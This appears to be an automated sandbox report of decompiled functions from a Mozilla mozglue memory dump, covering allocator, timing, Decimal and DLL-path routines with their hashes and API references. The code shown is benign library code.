Opcode Fuzzy Hash: 9677fbe8483f4224b7ed9591e435db9b5eda715b7acf04e3ea390277dd98f53a
Instruction Fuzzy Hash: 1D11FA3610025ABBDF129F85CC4CEAA7B7DEF49361F008425FE2896121D772D920DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86E7C0, Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D86E7C0(void* __ecx, void* __edx, void* __eflags, void* _a4, intOrPtr _a8) {
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				intOrPtr _t15;
				void* _t18;
				signed int _t26;
				void* _t30;
				void* _t34;
				intOrPtr _t38;

				_t30 = __edx;
				E6D86DB70(__ecx, __eflags,  &_v28, _a8);
				_t15 = _v16;
				_t38 = _t15;
				if(_t38 == 0) {
					__eflags = _v12 - 1;
					if(_v12 != 1) {
						__eflags = 0;
						E6D86D8AB( &_v28, 0, 0, 1, 0);
						_t18 =  &_v28;
					} else {
						_t18 = E6D86D850( &_v28, _t30, 0xffffffff);
					}
					_t34 = _t18;
					L12:
					_t26 = 6;
					return memcpy(_a4, _t34, _t26 << 2);
				}
				if(_t38 <= 0) {
					L7:
					E6D86F040(_a4);
					L5:
					return _a4;
				}
				if(_t15 <= 2) {
					_t34 =  &_v28;
					goto L12;
				}
				if(_t15 != 3) {
					goto L7;
				}
				E6D86FC80(_a4, 0);
				goto L5;
			}

0x6d86e7c0
0x6d86e7cf
0x6d86e7d4
0x6d86e7d7
0x6d86e7d9
0x6d86e807
0x6d86e80e
0x6d86e819
0x6d86e820
0x6d86e825
0x6d86e810
0x6d86e812
0x6d86e812
0x6d86e828
0x6d86e82a
0x6d86e831
0x00000000
0x6d86e832
0x6d86e7db
0x6d86e7fd
0x6d86e800
0x6d86e7f2
0x00000000
0x6d86e7f5
0x6d86e7e0
0x6d86e7f8
0x00000000
0x6d86e7f8
0x6d86e7e5
0x00000000
0x00000000
0x6d86e7ec
0x00000000

APIs

??GDecimal@blink@@QBE?AV01@ABV01@@Z.MOZGLUE(6D86D9CF,?,?,?,6D86D9CF,?,?,?), ref: 6D86E7CF

Part of subcall function 6D86DB70: ?alignOperands@Decimal@blink@@CA?AUAlignedOperands@12@ABV12@0@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D86E7D4,6D86D9CF), ref: 6D86DBC8

?zero@Decimal@blink@@SA?AV12@W4Sign@12@@Z.MOZGLUE(?,00000000,6D86D9CF,?,?,?,6D86D9CF,?,?,?), ref: 6D86E7EC
?nan@Decimal@blink@@SA?AV12@XZ.MOZGLUE(?,6D86D9CF,?,?,?,6D86D9CF,?,?,?), ref: 6D86E800
??0Decimal@blink@@QAE@H@Z.MOZGLUE(000000FF,6D86D9CF,?,?,?,6D86D9CF,?,?,?), ref: 6D86E812

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Decimal@blink@@$V12@$?align?nan@?zero@AlignedOperands@Operands@12@Sign@12@@V01@V01@@V12@0@
String ID:
API String ID: 1033684104-0
Opcode ID: 62677d221eeb6d871fb9fc59b92495f14de0900777488c1bc825fd842a2d542c
Instruction ID: 4cea9261c3b385d427ca3e6a9c2a931c590fe332055b741cf91dba177235fd59
Opcode Fuzzy Hash: 62677d221eeb6d871fb9fc59b92495f14de0900777488c1bc825fd842a2d542c
Instruction Fuzzy Hash: B901B53190819EAADF129A69CC49AEE7BA8EB05335F10CD11FE10E6180D731D945C7F1

Uniqueness

Uniqueness Score: -1.00%

Function 6D861A49, Relevance: 6.1, APIs: 4, Instructions: 52
threadCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6D861A49(intOrPtr* __ecx, intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr _t17;
				char _t18;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t30;
				intOrPtr _t31;

				_t30 = __ecx;
				_v8 = GetCurrentThreadId();
				EnterCriticalSection(0x6d8801a4);
				_t26 =  *0x6d8800d0; // 0x0
				E6D86190A(_t26,  &_v16,  &_v8);
				_t31 = _a4;
				_t17 =  *((intOrPtr*)(_v16 + 0x14));
				 *_t30 = _t17;
				if(_t17 == 0) {
					L3:
					_t18 = 0;
				} else {
					__imp___stricmp(_t17, _t31);
					if(_t17 != 0) {
						goto L3;
					} else {
						_t18 = 1;
					}
				}
				 *((char*)(_t30 + 4)) = _t18;
				_t27 =  *0x6d8800d0; // 0x0
				E6D86190A(_t27,  &_v16,  &_v8);
				 *((intOrPtr*)(_v16 + 0x14)) = _t31;
				LeaveCriticalSection(0x6d8801a4);
				return _t30;
			}

0x6d861a52
0x6d861a5f
0x6d861a63
0x6d861a69
0x6d861a77
0x6d861a7f
0x6d861a82
0x6d861a85
0x6d861a89
0x6d861a9d
0x6d861a9d
0x6d861a8b
0x6d861a8d
0x6d861a97
0x00000000
0x6d861a99
0x6d861a99
0x6d861a99
0x6d861a97
0x6d861a9f
0x6d861aa5
0x6d861ab0
0x6d861ab9
0x6d861abc
0x6d861aca

APIs

GetCurrentThreadId.KERNEL32 ref: 6D861A54
EnterCriticalSection.KERNEL32(6D8801A4), ref: 6D861A63
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?), ref: 6D861A8D
LeaveCriticalSection.KERNEL32(6D8801A4,?,?,?,?), ref: 6D861ABC

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: fe83056694ecd8b0d4ad29bccac65abea96588e3bc32961d53e894977e20cbcf
Instruction ID: 7a2ecbf931add49ca72616d133151dda19d7ef91e50eaf67e00f3dfe67a22701
Opcode Fuzzy Hash: fe83056694ecd8b0d4ad29bccac65abea96588e3bc32961d53e894977e20cbcf
Instruction Fuzzy Hash: A901447A915259ABCF00DFA9D94C99EBBBCEB4A262B104456F914D3202DB30DA04CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6D867822, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D867822(void* __ecx, intOrPtr _a4, unsigned int _a8, intOrPtr _a12) {
				signed char _v0;
				intOrPtr* _v12;
				intOrPtr _v16;
				signed char _v28;
				void* _t43;
				void* _t44;
				signed char _t48;
				signed char _t51;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				void* _t68;
				intOrPtr _t69;
				void* _t70;
				void* _t72;
				intOrPtr _t73;
				signed int _t74;
				intOrPtr* _t77;
				intOrPtr _t78;
				struct _CRITICAL_SECTION* _t79;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t89;

				_t68 = __ecx;
				_t77 = _a4 - _a8;
				_t65 =  *_t77;
				if(_a12 != 0 && _t65 != _a12) {
					E6D8690E5("MOZ_RELEASE_ASSERT(!aArena || arena == aArena)");
					asm("int3");
					 *_t89 = 0xce1;
					L9:
					E6D868DD0();
					asm("int3");
					_push(_t68);
					_push(_t65);
					_push(_t79);
					_push(_t77);
					_t78 = _v16;
					_t80 =  *(_t78 + 4);
					_t17 = _t78 + 0xc; // 0xc
					_t48 = _t17 + _t80 * 4;
					_t66 =  *_t48;
					_v28 = _t48;
					if(_t66 == 0) {
						_t67 = _a4;
						_t81 = _t80 + 1;
						__eflags = _t81 -  *((intOrPtr*)(_t67 + 0x14));
						if(_t81 >=  *((intOrPtr*)(_t67 + 0x14))) {
							L16:
							__eflags = 0;
							return 0;
						}
						_t28 = _t78 + 0xc; // 0xc
						_t51 = _t28 + _t81 * 4;
						while(1) {
							_t74 =  *_t51;
							__eflags = _t74;
							if(_t74 != 0) {
								break;
							}
							_t81 = _t81 + 1;
							_t51 = _t51 + 4;
							__eflags = _t81 -  *((intOrPtr*)(_t67 + 0x14));
							if(_t81 <  *((intOrPtr*)(_t67 + 0x14))) {
								continue;
							}
							goto L16;
						}
						asm("bsf eax, edx");
						_v0 = _t51;
						_t70 = 0x20;
						_t53 =  ==  ? _t70 : _t51 & 0x000000ff;
						_t71 = ( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff;
						_t56 = (_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff);
						_t57 = ((_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff)) *  *(_t67 + 8);
						_t58 = ((_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff)) *  *(_t67 + 8) +  *((intOrPtr*)(_t67 + 0x18));
						_t59 = ((_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff)) *  *(_t67 + 8) +  *((intOrPtr*)(_t67 + 0x18)) + _t78;
						asm("btc edx, ecx");
						 *(_t78 + 0xc + _t81 * 4) = _t74;
						 *(_t78 + 4) = _t81;
						return ((_t81 << 5) + (( ==  ? _t70 : _t51 & 0x000000ff) & 0x000000ff)) *  *(_t67 + 8) +  *((intOrPtr*)(_t67 + 0x18)) + _t78;
					}
					asm("bsf eax, ebx");
					_v0 = _t48;
					_t72 = 0x20;
					_t61 =  ==  ? _t72 : _t48 & 0x000000ff;
					_t73 = _a4;
					_t75 = ( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff;
					_t83 = (_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff);
					_t84 = ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8);
					_t85 = ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8) +  *((intOrPtr*)(_t73 + 0x18));
					_t86 = ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8) +  *((intOrPtr*)(_t73 + 0x18)) + _t78;
					asm("btc ebx, edx");
					 *_v12 = _t66;
					_t63 = ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8) +  *((intOrPtr*)(_t73 + 0x18)) + _t78;
					return ((_t80 << 5) + (( ==  ? _t72 : _t48 & 0x000000ff) & 0x000000ff)) *  *(_t73 + 8) +  *((intOrPtr*)(_t73 + 0x18)) + _t78;
				}
				_t5 = _t65 + 0xc; // 0xc
				_t79 = _t5;
				EnterCriticalSection(_t79);
				_t43 = 0x10 + (_a8 >> 0xc) * 0xc + _t77;
				if(( *(_t43 + 8) & 0x00000001) == 0) {
					E6D8690E5("MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)");
					asm("int3");
					 *_t89 = 0xce6;
					goto L9;
				}
				__eflags =  *(_t43 + 8) & 0x00000002;
				_t69 = _t65;
				if(__eflags != 0) {
					_t44 = E6D8636B5(_t69, _t77, _a4);
				} else {
					_t44 = E6D8638C7(_t69, __eflags, _t77, _a4, _t43);
				}
				LeaveCriticalSection(_t79);
				return _t44;
			}

0x6d867822
0x6d86782b
0x6d867832
0x6d867834
0x6d86789b
0x6d8678a0
0x6d8678a1
0x6d8678a8
0x6d8678a8
0x6d8678ad
0x6d8678b1
0x6d8678b2
0x6d8678b3
0x6d8678b4
0x6d8678b5
0x6d8678b8
0x6d8678bb
0x6d8678be
0x6d8678c1
0x6d8678c3
0x6d8678c8
0x6d8678f9
0x6d8678fc
0x6d8678fd
0x6d867900
0x6d867917
0x6d867917
0x00000000
0x6d867917
0x6d867902
0x6d867905
0x6d867908
0x6d867908
0x6d86790a
0x6d86790c
0x00000000
0x00000000
0x6d86790e
0x6d86790f
0x6d867912
0x6d867915
0x00000000
0x00000000
0x00000000
0x6d867915
0x6d867920
0x6d867925
0x6d86792b
0x6d86792c
0x6d86792f
0x6d867937
0x6d867939
0x6d86793d
0x6d867940
0x6d867942
0x6d867945
0x6d867949
0x00000000
0x6d867949
0x6d8678ca
0x6d8678cf
0x6d8678d5
0x6d8678d6
0x6d8678d9
0x6d8678df
0x6d8678e5
0x6d8678e7
0x6d8678eb
0x6d8678ee
0x6d8678f0
0x6d8678f3
0x6d8678f5
0x00000000
0x6d8678f5
0x6d86783b
0x6d86783b
0x6d86783f
0x6d867851
0x6d867857
0x6d86785e
0x6d867863
0x6d867864
0x00000000
0x6d867864
0x6d86786d
0x6d867871
0x6d867873
0x6d867885
0x6d867875
0x6d86787a
0x6d86787a
0x6d86788b
0x6d867895

APIs

EnterCriticalSection.KERNEL32(000FF00C,?,000FF000,000FF000), ref: 6D86783F
LeaveCriticalSection.KERNEL32(000FF00C,000FF000,000FF000), ref: 6D86788B

Part of subcall function 6D8638C7: memset.VCRUNTIME140(000FF000,000000E5,?,000FF000,000FF00C,000FF000,?,6D86787F,000FF000,000FF000,000FEFF0), ref: 6D8638EC

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6D867896
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6D867859

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)
API String ID: 759993129-1613044481
Opcode ID: ef892f1ac07e3c4b971fcdcf0dda6d6bde3f7b71806c03af4553b6f023a72251
Instruction ID: 8cf31ccc643638409277e05204565b11e6aa4eff02e898b5a297570d3ff89e47
Opcode Fuzzy Hash: ef892f1ac07e3c4b971fcdcf0dda6d6bde3f7b71806c03af4553b6f023a72251
Instruction Fuzzy Hash: 5D012275508188ABDB016F5DCC4CEAD7BB8EF41379F118808FE4886541C7708900CBF2

Uniqueness

Uniqueness Score: -1.00%

Function 6D86BA92, Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6D86BA92(void* __ecx, void* __edi) {
				intOrPtr _v8;
				union _LARGE_INTEGER _v12;
				void* _t8;
				intOrPtr _t9;
				void* _t10;
				struct %anon52 _t15;
				struct %anon52 _t16;
				void* _t18;
				intOrPtr _t23;
				void* _t26;

				_t18 = __edi;
				QueryPerformanceCounter( &_v12);
				if( *0x6d8803b0 != 0) {
					L6:
					_t8 = E6D877E50(_v12.LowPart, _v8, 0x3e8, 0);
				} else {
					EnterCriticalSection(0x6d880398);
					_t23 =  *0x6d8803c4; // 0x0
					_t9 = _v8;
					_t15 = _v12.LowPart;
					_t26 = _t23 - _t9;
					if(_t26 < 0) {
						L5:
						0x6d8803c0->LowPart = _t15;
						 *0x6d8803c4 = _t9;
						LeaveCriticalSection(0x6d880398);
						goto L6;
					} else {
						_t16 =  *0x6d8803c0; // 0x0
						if(_t26 > 0 || _t16 > _t15) {
							_push(_t18);
							_t10 = E6D877E50(_t16, _t23, 0x3e8, 0);
							LeaveCriticalSection(0x6d880398);
							_t8 = _t10;
						} else {
							goto L5;
						}
					}
				}
				return _t8;
			}

0x6d86ba92
0x6d86ba9d
0x6d86baaa
0x6d86bb07
0x6d86bb14
0x6d86baac
0x6d86bab2
0x6d86bab8
0x6d86babe
0x6d86bac1
0x6d86bac4
0x6d86bac6
0x6d86baf5
0x6d86baf6
0x6d86bafc
0x6d86bb01
0x00000000
0x6d86bac8
0x6d86bac8
0x6d86bace
0x6d86bad4
0x6d86bade
0x6d86bae8
0x6d86baf0
0x00000000
0x00000000
0x00000000
0x6d86bace
0x6d86bac6
0x6d86bb1e

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,6D86BA40,?,?,?,?,?,6D86B408,?), ref: 6D86BA9D
EnterCriticalSection.KERNEL32(6D880398,?,?,?,?,?,6D86BA40,?,?,?,?,?,6D86B408,?), ref: 6D86BAB2
LeaveCriticalSection.KERNEL32(6D880398,00000000,00000000,000003E8,00000000,?,?,?,?,?,?,6D86BA40), ref: 6D86BAE8
LeaveCriticalSection.KERNEL32(6D880398,?,?,?,?,?,6D86BA40,?,?,?,?,?,6D86B408,?), ref: 6D86BB01

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$CounterEnterPerformanceQuery
String ID:
API String ID: 1497024086-0
Opcode ID: 234a1c904d13ee9b8208ffe5bf5576b8a469eb812430a8b6fb92f0b047381fe0
Instruction ID: 8b22d610f052a66b62994adc3cf56c9bb2ee112d119686bc56765d7cbe03d2eb
Opcode Fuzzy Hash: 234a1c904d13ee9b8208ffe5bf5576b8a469eb812430a8b6fb92f0b047381fe0
Instruction Fuzzy Hash: E5014475A46294ABDF109BAACC4CB5E7B7DE74BB56F104555F508E2240DB706D00C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D8744BF, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D8744BF(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20) {
				intOrPtr _t19;
				void* _t20;
				intOrPtr _t25;

				_t19 =  *((intOrPtr*)(0x6d87aee0 + (_a16 * 6 + _a20) * 4));
				_t25 = _t19;
				if(_t25 == 0) {
					_t20 = E6D87452F(_a4, _a8, _a12);
					goto L10;
				} else {
					if(_t25 <= 0) {
						L8:
						return 0;
					} else {
						if(_t19 <= 2) {
							_t20 = E6D87452F(_a4, _a8, _a12);
							goto L10;
						} else {
							if(_t19 == 3) {
								_t20 = E6D87452F(_a4, _a8, _a12);
								goto L10;
							} else {
								if(_t19 + 0xfffffffc > 1) {
									goto L8;
								} else {
									_t20 = E6D87452F(_a4, _a8, _a12);
									L10:
									return _t20;
								}
							}
						}
					}
				}
			}

0x6d8744c9
0x6d8744d0
0x6d8744d2
0x6d874525
0x00000000
0x6d8744d4
0x6d8744d4
0x6d874518
0x6d87451b
0x6d8744d6
0x6d8744d9
0x6d874511
0x00000000
0x6d8744db
0x6d8744de
0x6d874501
0x00000000
0x6d8744e0
0x6d8744e6
0x00000000
0x6d8744e8
0x6d8744f1
0x6d87452a
0x6d87452e
0x6d87452e
0x6d8744e6
0x6d8744de
0x6d8744d9
0x6d8744d4

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 6D8744F1
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 6D874501
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 6D874511
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 6D874525

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: d679c3e760b172a282e4226d8d73e2143a0d8fac03e4cc3d9f0193b1a82c2ddb
Instruction ID: f13fdf2a3b21e80f1ad0f41951aca91add1e9ad12e1fd7bba77104818b8d466f
Opcode Fuzzy Hash: d679c3e760b172a282e4226d8d73e2143a0d8fac03e4cc3d9f0193b1a82c2ddb
Instruction Fuzzy Hash: 1601E1B744410EBBCF228E9CDC098AD3B66FB9D365B058816F92984170D732C6B0AB52

Uniqueness

Uniqueness Score: -1.00%

Function 6D87865B, Relevance: 6.0, APIs: 4, Instructions: 26
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D87865B() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				GetSystemTimeAsFileTime( &_v16);
				_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
				_v8 = _v8 ^ GetCurrentThreadId();
				_v8 = _v8 ^ GetCurrentProcessId();
				QueryPerformanceCounter( &_v24);
				return _v20 ^ _v24.LowPart ^ _v8 ^  &_v8;
			}

0x6d878661
0x6d878668
0x6d87866d
0x6d878679
0x6d878682
0x6d87868b
0x6d878692
0x6d8786a9

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 6D87866D
GetCurrentThreadId.KERNEL32 ref: 6D87867C
GetCurrentProcessId.KERNEL32 ref: 6D878685
QueryPerformanceCounter.KERNEL32(?), ref: 6D878692

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: ea2dab60ac9bcdaa3d2e0e78b484daee146403804e5fc8548563cfaf83dcbdd0
Instruction ID: 97ad56855ae2f17012c168f59b70b7ee0a00e42e5e68f64618f59e570058f9a8
Opcode Fuzzy Hash: ea2dab60ac9bcdaa3d2e0e78b484daee146403804e5fc8548563cfaf83dcbdd0
Instruction Fuzzy Hash: B3F03F75C10219EBCF00EBA4C54DB9EB7B8EF1D311F5144959411E6140E734AA14DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D868CA4, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E6D868CA4(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* _a4, void _a8) {
				intOrPtr* _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr* _t17;
				signed int _t22;
				intOrPtr* _t28;
				intOrPtr* _t31;
				signed int _t36;
				intOrPtr _t39;
				signed int _t40;
				intOrPtr _t45;
				intOrPtr* _t46;
				intOrPtr* _t51;
				signed int _t59;

				_push(__ecx);
				_push(__ecx);
				_t17 = 1;
				_t31 = __ecx;
				_t45 =  !=  ? _a8 : 1;
				if(_a4 == 0) {
					if( *0x6d8801e4 == 0) {
						_t17 = L6D8687CF(__ecx, __edi);
					}
					if(_t17 != 0) {
						_t18 =  *_t31;
						if( *_t31 == 0) {
							_t18 = E6D867C36(_t45);
						}
						_t17 = E6D864AA5(_t18, _t45, 0);
						goto L16;
					} else {
						_t46 = 0;
						goto L17;
					}
					goto L18;
				} else {
					if( *0x6d8801e4 == 0) {
						E6D8690E5("MOZ_RELEASE_ASSERT(malloc_initialized)");
						asm("int3");
						 *_t51 = 0xf79;
						goto L20;
					} else {
						E6D86326C( &_v12, _a4);
						_t28 = _v8;
						if(_v12 > 0xff000) {
							_t39 =  *((intOrPtr*)(_t28 + 0x18));
						} else {
							_t39 =  *_t28;
						}
						if( *_t31 == 0 || _t39 ==  *_t31) {
							_t17 = E6D86585A(_t39, _t40, _a4, _t45, _v12);
							L16:
							_t46 = _t17;
							if(_t46 == 0) {
								L17:
								__imp___errno();
								 *_t17 = 0xc;
							}
							L18:
							return _t46;
						} else {
							E6D8690E5("MOZ_RELEASE_ASSERT(!mArena || arena == mArena)");
							asm("int3");
							 *_t51 = 0xf7d;
							L20:
							E6D868DD0();
							asm("int3");
							_t22 = _v20;
							_t36 = _t22 * _v16;
							_t59 = _t22 * _v16 >> 0x20;
							if(_t59 <= 0 && (_t59 < 0 || _t36 <= 0xffffffff)) {
								return 1;
							}
							return 0;
						}
					}
				}
			}

0x6d868ca7
0x6d868ca8
0x6d868cac
0x6d868cad
0x6d868cb6
0x6d868cbe
0x6d868d20
0x6d868d22
0x6d868d22
0x6d868d29
0x6d868d2f
0x6d868d33
0x6d868d36
0x6d868d3b
0x6d868d41
0x00000000
0x6d868d2b
0x6d868d2b
0x00000000
0x6d868d2b
0x00000000
0x6d868cc0
0x6d868cc7
0x6d868d67
0x6d868d6c
0x6d868d6d
0x00000000
0x6d868ccd
0x6d868cd4
0x6d868ce0
0x6d868ce5
0x6d868ceb
0x6d868ce7
0x6d868ce7
0x6d868ce7
0x6d868cf1
0x6d868d12
0x6d868d46
0x6d868d46
0x6d868d4a
0x6d868d4c
0x6d868d4c
0x6d868d52
0x6d868d52
0x6d868d58
0x6d868d5f
0x6d868cf7
0x6d868cfc
0x6d868d01
0x6d868d02
0x6d868d74
0x6d868d74
0x6d868d79
0x6d868d7d
0x6d868d83
0x6d868d87
0x6d868d89
0x00000000
0x6d868d92
0x6d868d95
0x6d868d95
0x6d868cf1
0x6d868cc7

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000000,00000001,00000000,00000000,?,6D868F76,?,?,?,?,6D86935E,?,?), ref: 6D868D4C

Part of subcall function 6D86585A: memset.VCRUNTIME140(?,000000E5,00000000,000FF000,?,00000000,00000000), ref: 6D865B40

Strings

MOZ_RELEASE_ASSERT(!mArena || arena == mArena), xrefs: 6D868CF7
MOZ_RELEASE_ASSERT(malloc_initialized), xrefs: 6D868D62

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: _errnomemset
String ID: MOZ_RELEASE_ASSERT(!mArena || arena == mArena)$MOZ_RELEASE_ASSERT(malloc_initialized)
API String ID: 3043901106-1844359933
Opcode ID: bd03e73008bf41ee4b46e41d29c04817934f115bcf978af35be32285b7e395a3
Instruction ID: 83a673dd860b740ec6baa278189a7591a9b904f0daf04dfd00190c54efb9ba63
Opcode Fuzzy Hash: bd03e73008bf41ee4b46e41d29c04817934f115bcf978af35be32285b7e395a3
Instruction Fuzzy Hash: 3E21D431508299AFDB219F58C84CBBD37B4AF17375F118E56EA08971C0C7B49980C7B5

Uniqueness

Uniqueness Score: -1.00%

Function 6D862AD8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D862AD8(signed int* _a4, void _a8, WCHAR* _a12) {
				WCHAR* _v8;
				long _t14;
				signed int* _t18;
				long _t21;
				WCHAR* _t27;
				WCHAR* _t30;

				_t27 = 0;
				if(_a8 >= 0x10000) {
					_t27 =  ==  ? _a8 : 0;
				}
				_t14 = SearchPathW(_t27, _a12, L".dll", 0, 0, 0);
				if(_t14 != 0) {
					_t8 = _t14 + 1; // 0x1
					_t21 = _t8;
					E6D861226(__eflags,  &_v8, _t21);
					_t30 = _v8;
					__eflags = _t30;
					if(_t30 != 0) {
						SearchPathW(_t27, _a12, L".dll", _t21, _t30, 0);
						_t18 = _a4;
						 *_t18 = _t30;
					} else {
						_t18 = _a4;
						 *_t18 =  *_t18 & _t30;
					}
				} else {
					_t18 = _a4;
					 *_t18 = 0;
				}
				return _t18;
			}

0x6d862ae7
0x6d862ae9
0x6d862aef
0x6d862aef
0x6d862aff
0x6d862b07
0x6d862b10
0x6d862b10
0x6d862b19
0x6d862b1e
0x6d862b23
0x6d862b25
0x6d862b3b
0x6d862b41
0x6d862b44
0x6d862b27
0x6d862b27
0x6d862b2a
0x6d862b2a
0x6d862b09
0x6d862b09
0x6d862b0c
0x6d862b0c
0x6d862b4c

APIs

SearchPathW.KERNEL32(00000000,?,.dll,00000000,00000000,00000000,00000000,6D879648,?,?,6D862EF2,?,?,?,?), ref: 6D862AFF

Part of subcall function 6D861226: moz_xmalloc.MOZGLUE(00000000,AppInit_DLLs,00000001,?,6D862538,?,?,?,6D880138,00000001), ref: 6D86123D
Part of subcall function 6D861226: memset.VCRUNTIME140(00000000,00000000,00000000,AppInit_DLLs,00000001,?,6D862538,?,?,?,6D880138,00000001), ref: 6D86124D

